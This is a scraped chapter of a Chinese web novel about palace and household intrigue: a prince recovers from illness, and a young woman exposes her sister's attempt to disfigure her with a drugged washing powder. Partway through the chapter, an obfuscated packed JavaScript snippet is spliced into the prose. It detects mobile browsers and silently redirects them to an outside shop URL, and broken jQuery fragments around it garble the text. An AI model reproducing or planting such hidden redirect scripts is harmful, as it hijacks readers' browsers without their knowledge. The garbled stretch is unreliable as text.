默认冷灰
24号文字
方正启体

22. 第 22 章

作者:万朵春本书字数:K更新时间:
    “九殿下,您怎么了?”


    二皇子府前院,长水弯腰接过沉甸甸的药包,眼尖发现萧慎脸颊边未干的泪珠,忍不住伸手刮了一下:“有人欺负您了?”


    “没有。”萧慎绷着小脸,眼睛里写着大大的不高兴,“我二哥醒了吗?”


    “太医在里面,九殿下先去瞧瞧吧。”


    萧慎不等听完,忙迈开腿跑上台阶:“二哥!二哥!”


    拨开重重软帘,床前围着的太医忙为九皇子让了条路。透过雪白的光影,萧慎瞧见一身玄色寝衣坐在床上的二哥。


    青年听见动静,也偏过脸注视着他,眼底浮现一丝笑意。


    萧慎瞬间鼻尖一酸:“二哥,你终于醒了!”


    二哥没戴面具时,有一张十分好看的脸。面似霜覆,目若星流。眉如刀裁,长睫缀珠。眉骨锋利,鼻梁高挺,下颌利落,他侧过身,血色尽失的薄唇勾出一道温柔的弧度。


    “小九,怎么哭了?”他伸出手,要扶萧慎爬上来。


    “我没有。”萧慎含着鼻音,扑过去闷闷地抱住对方,感觉二哥的腰又细了一圈,“大哥走了,父皇病了……你睡了好久。”


    他害怕。


    二哥有一下没一下地拍着他的背,动作轻柔:“我没事。听长水说,你去医馆抓药了?辛苦我们小九了。”


    “嗯。”萧慎依偎在一身清苦药味的二殿下身边,才觉得安心,顿了顿,小声说,“我在医馆见到那个姐姐了。”


    二哥覆在他背上的手一顿。


    萧慎仰头望去,二哥垂下长长的睫毛,神色怅然若失。


    他抿了抿嘴,又鼓起腮。


    “二哥,我不说了。”萧慎本想说那姐姐眼睛又红又肿,却怕二哥听了勾起伤心往事,欲言又止地从对方怀里钻出来,垂着头道,“你好好休息。”


    萧琢时心不在焉嗯了一声,嗓音带着病中的沙哑:“小九,让长水过来见我。”


    “小的在这呢。”长水赶紧费力挤到床前。


    “鬼王谷还没来信么?”萧琢时问。


    “哎哟我的二殿下,您还病着,就别想这么多了。”长水道,“您放一万个心,鬼王谷只要递消息,小的第一时间送到您面前!”


    萧琢时沉吟片刻:“现在什么日子?”


    “六月廿四。”


    离六月廿九,还有五天。


    萧琢时目光紧了紧:“长水,写信去催。鬼王谷六月廿九入夜后,必须给京城回信。”


    长水应了一声往外跑,萧琢时也翻身下床,萧慎连忙按住,着急道:“二哥你刚刚答应我了,要好好休息!”


    “小九,我知道。”萧琢时随手揉了一把萧慎的头顶,眉眼万般无奈,“但不可以是现在。二哥答应你,等事情结束后好好休息。”


    另一边,容锦簇拿着两包治过敏的药回到雪寒院。


    刚进门,就感到气氛不对。


    院子正中,一个小侍女埋头跪着,宝河坐在不远处脸色冷冷地摇着扇子,宝灯手上握着一只小布包,在廊下反复踱步。


    “怎么了?”


    见容锦簇回来,两个侍女顿时松了一口气,七嘴八舌挤上来告状。


    “姑娘,这个吃里扒外的……”


    “姑娘,您瞧瞧她……”


    两人同时开口,吵得容锦簇什么也听不清:“宝河先说。”


    宝河愤愤不平:“姑娘!这黑心小丫头收了春桃院的贿赂,准备往您净面的水里下药!”


    容锦簇心一沉,下意识摸了摸自己的脸。


    “还没来得及下呢。”宝灯接过话来,“幸亏有宝喜给咱们通风报信,不然等到今晚,姑娘洗过脸就要中招了!”


    容锦簇微微松了口气,接过宝灯手里的小布包,打开仔细闻了闻,又捏起一小撮粉末在指尖碾了碾。


    容锦虞还真是锲而不舍,用的药跟前世一模一样。


    容锦簇无声冷笑了一下:“不必打草惊蛇。再过两日,就是容锦虞及笄礼了。”


    —


    六月廿六,天色晴朗。


    容夫人一大早急急爬起来梳妆,眉眼间尽是笑意:今日,她最心爱的小女儿容锦虞终于要及笄了。


    但是想到阿宁及笄后就要考虑定亲,她又万般不舍。


    怀着纠结的心情,容夫人对镜描眉,忽闻门外啷当一声响。


    “怎么了?”她眼神都不肯往外飘一下,微微抬高了声音问门外侍女。


    “夫夫夫人!”她的大侍女慌慌张张奔进门,话都说不利索了,“二、二、二姑娘脸上起了好多疹子,只怕、只怕染了什么病……”


    容夫人手上动作一歪,好端端的蛾眉画歪了一侧。


    她皱起眉,低声骂了一句:“晦气!”


    用力擦掉画好的眉,这才站起身:“在哪儿呢?”


    容锦簇独自站在门外,低垂着头,用一块雪白的帕子狼狈地按着半边脸颊,形单影只。


    见状,容夫人更是气不打一处来:“容锦簇!病了就在雪寒院养着,今日阿宁及笄,你闹什么!”


    容锦簇掀开帕子,容夫人顿时倒吸一口凉气。


    光洁如玉的脸上起了一片红疹,看起来就触目惊心。


    “今早洗过脸就这样了,母亲唤三妹妹过来吧。”容锦簇神色平静,“如果三妹妹给不出一个合理的解释,今日三妹妹的及笄宴就别想办了。”


    “你!”


    容夫人一想就知道,这时万万不能让容锦虞过来,下意识想让侍女给容锦虞通风报信。


    下一刻,容锦虞带着宝喜欢快地跨过院门:“阿娘,我来了!”


    容锦虞转过身,面无表情盯着她。


    看见她面上一片鲜红,容锦虞先打了个激灵,这才反应过来,开始幸灾乐祸:“哎呀,二姐姐,这是怎么回事?毁了容貌,姐姐下半辈子就毁了呀。”


    她前两日还在生气下药不成的事。据春桃院买通的小侍女说,下过药的水不是被宝河摔了就是被宝灯用去浇花了,还有一次好不容易端到了容锦簇跟前,容锦簇却说不想净面!


    她生气归生气,也只能耐心等着,好在今日终于成功了。


    容锦簇不答反问:“三妹妹,我院中逮到一个侍女,说春桃院买通了她,往我净面的水里下药,你应该知情吧?”


    院门外忽然扑通一声,恰如此刻容锦虞的心情。


    她没想到容锦簇真能找出那个小侍女,脸色白了白,嗫嚅着辩解:“你怎么能断定是我做的?就凭她一面之词?”


    容夫人一见不好,容锦虞这是被容锦簇带进去了!


    忙道:“阿折,说什么呢,你这分明是过敏,跟阿宁有什么关系?”


    “过敏?那怎么平日不过敏,今日碰过那水就过敏了?”容锦簇拍了拍手,“正巧,我已让宝河将水端来,不如三妹妹也试试?”


    话音刚落,宝河端着白瓷盆,当真进了院。


    容夫人心中一紧,看容锦虞的表情就知道此事是真的,忙制止:“万一你在这水里放了致人过敏的毒物怎么办?你妹妹今日还及笄,你这是要害她!”


    “那巧了,我正好有治过敏的药。”容锦簇示意宝河拿出药包,“还是永安街许郎中亲自抓的药,专治过敏,服下不久就会缓解。三妹妹碰过这水,若真过敏了,服药就好。”


    容锦虞没想到容锦簇做好了万全的准备,一时哆嗦起来:“我、我想想。”


    “三妹妹可要想好了。”容锦簇漫不经心道,“如若水里有过敏的毒物,服用这药就能好;但若水里加了毁容的药粉,那脸可永远都好不了了……”


    容锦虞立刻尖叫起来:“快拿走!我不碰!”


    容夫人见状,只好咬咬牙,先发制人:“容锦簇!你谎话连篇!你这分明不是过敏,是染了时疫!快来人哪,把她送回雪寒院关起来!”


    “我这两日没出过门,从哪儿染上时疫?”容锦簇冷冷笑了一下,“母亲不必想法子了,我有人证物证。”


    说着,宝灯已经扭着那小侍女进来,一并在院前跪下。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484507|201924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    小侍女哆哆嗦嗦,抬起脸看了容锦虞一眼,容锦虞脸色刷的一下白了。


    宝灯拿出布包,由大侍女转交容夫人:“禀夫人,这就是那水中的毒,可毁女子容貌,夫人若不信,找郎中一问就知。”


    布包到了容夫人手里,她打开瞧了两眼,忽然将那布包一扬,粉末洋洋洒洒落了一地。


    “物证何在?”她冷冷看向容锦簇,铁了心要保容锦虞。


    容锦簇弯唇笑笑,下一刻,宝河却从怀里摸出另一个布包来。


    宝河瞧着容夫人,满面无辜道:“夫人,方才那粉末是三七磨成的药粉,宝灯一时着急拿错了,奴婢手里才是真的证据。”


    “……”


    容夫人不甘心:“那人证呢?”


    “这就是人证。”宝河指了指跪在地上的小侍女。


    小侍女瑟瑟发抖,伏倒在地:“奴婢知错了,奴婢一时鬼迷心窍,收了三姑娘的二两银子,答应把这粉末放到二姑娘洗脸的水里。奴婢不知道那是毒,求姑娘和夫人恕罪啊!”


    “胡闹!”容夫人皱着眉喝道,“谁知道你是不是诬陷两位主子?谁又知道这番话是不是有心人教你说的?你说三姑娘买通你,谁能作证?”


    这下,院子里静悄悄的,一片静寂。


    容锦簇没说话,两个侍女也没有吭声。容锦虞面色难看,不知所措。


    容夫人自以为破了这一局,眉眼间浮现出一抹得意,盖棺定论:“好了,既然是误会一场,都散了吧!等一下就是阿宁的及笄礼,我不希望再出任何岔子!”


    “至于你,阿折。”她冷冷看过来,“你等着。”


    容锦簇慢慢抬起低垂的眼,朝容夫人弯了一弯。


    “阿娘,既然一定要这样,那我就不等了。”她笑盈盈地对上目光,忽然再度拍了拍手。


    在容夫人和容锦虞惊慌的眼神里,这回没有再进来任何人。


    下一刻,一个熟悉的身影往前迈了一步,站了出来。


    “我作证。”


    “宝喜?怎么会是你!”容锦虞难以置信地盯着那道瘦弱背影,这是宝喜第一次站到自己前面。


    “夫人,我作证。”宝喜没有再看容锦虞一眼,直直跪了下来,“那药,是三姑娘托奴婢去买的,如果不信可以去春桃院问一问,好几个小侍女都听到了。三姑娘收买雪寒院小侍女也是奴婢亲眼所见。”


    她跪在地上,缓缓叩首,声音缓慢却坚定:“求夫人明鉴。”


    绝望中,容夫人冷笑一声:“若我不愿明鉴呢?”


    “弟妹,这可由不得你了。”傅盈缓缓步入,身后还跟着容家几位辈分较长的夫人,脸色是前所未有的严肃,“弟妹,阿宁犯了错,就应当受惩罚。你一味护着她,不是好事。”


    后面一位容家长老缓缓道:“先让阿宁去祠堂反思反思吧。”


    无人反对,一锤定音。


    容夫人目眦尽裂:“不可以!今日还是阿宁的及笄礼!”


    她上前扯住傅盈的衣袖:“你怎么能这样对待阿宁!她及笄,你可是正宾!”


    傅盈冷笑一声,甩开她的手:“你都这么对待阿折了,还指望我做阿宁的正宾?做梦!楚画仪,这个正宾我不做了,烦请你另请高明吧!”


    容夫人膝盖一软,险些跌倒在地,双目无神,失魂落魄:“今日是我为阿宁算的好日子……”


    “好日子不差这一时。”那位长老缓缓道,“容锦虞还未定亲,按礼制,二十之前行及笄礼即可。”


    “不!不!”容夫人似乎着了魔一般,眼睁睁瞧见容锦虞被带出去,突然转过身,双目赤红地盯着容锦簇。


    “你这个扫把星!天生克容家,除了带来灾祸还会做什么!你姐姐,你爹,哪个不是死在你的手上!如今,连阿宁你也要害死吗!你怎么不把我这条老命也收了去!”


    她哭喊声凄厉如鬼,容锦簇浑身狠狠一震,抬起头。


    两世了,她终于第一次知道,自己的亲生母亲为何会如此恨她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)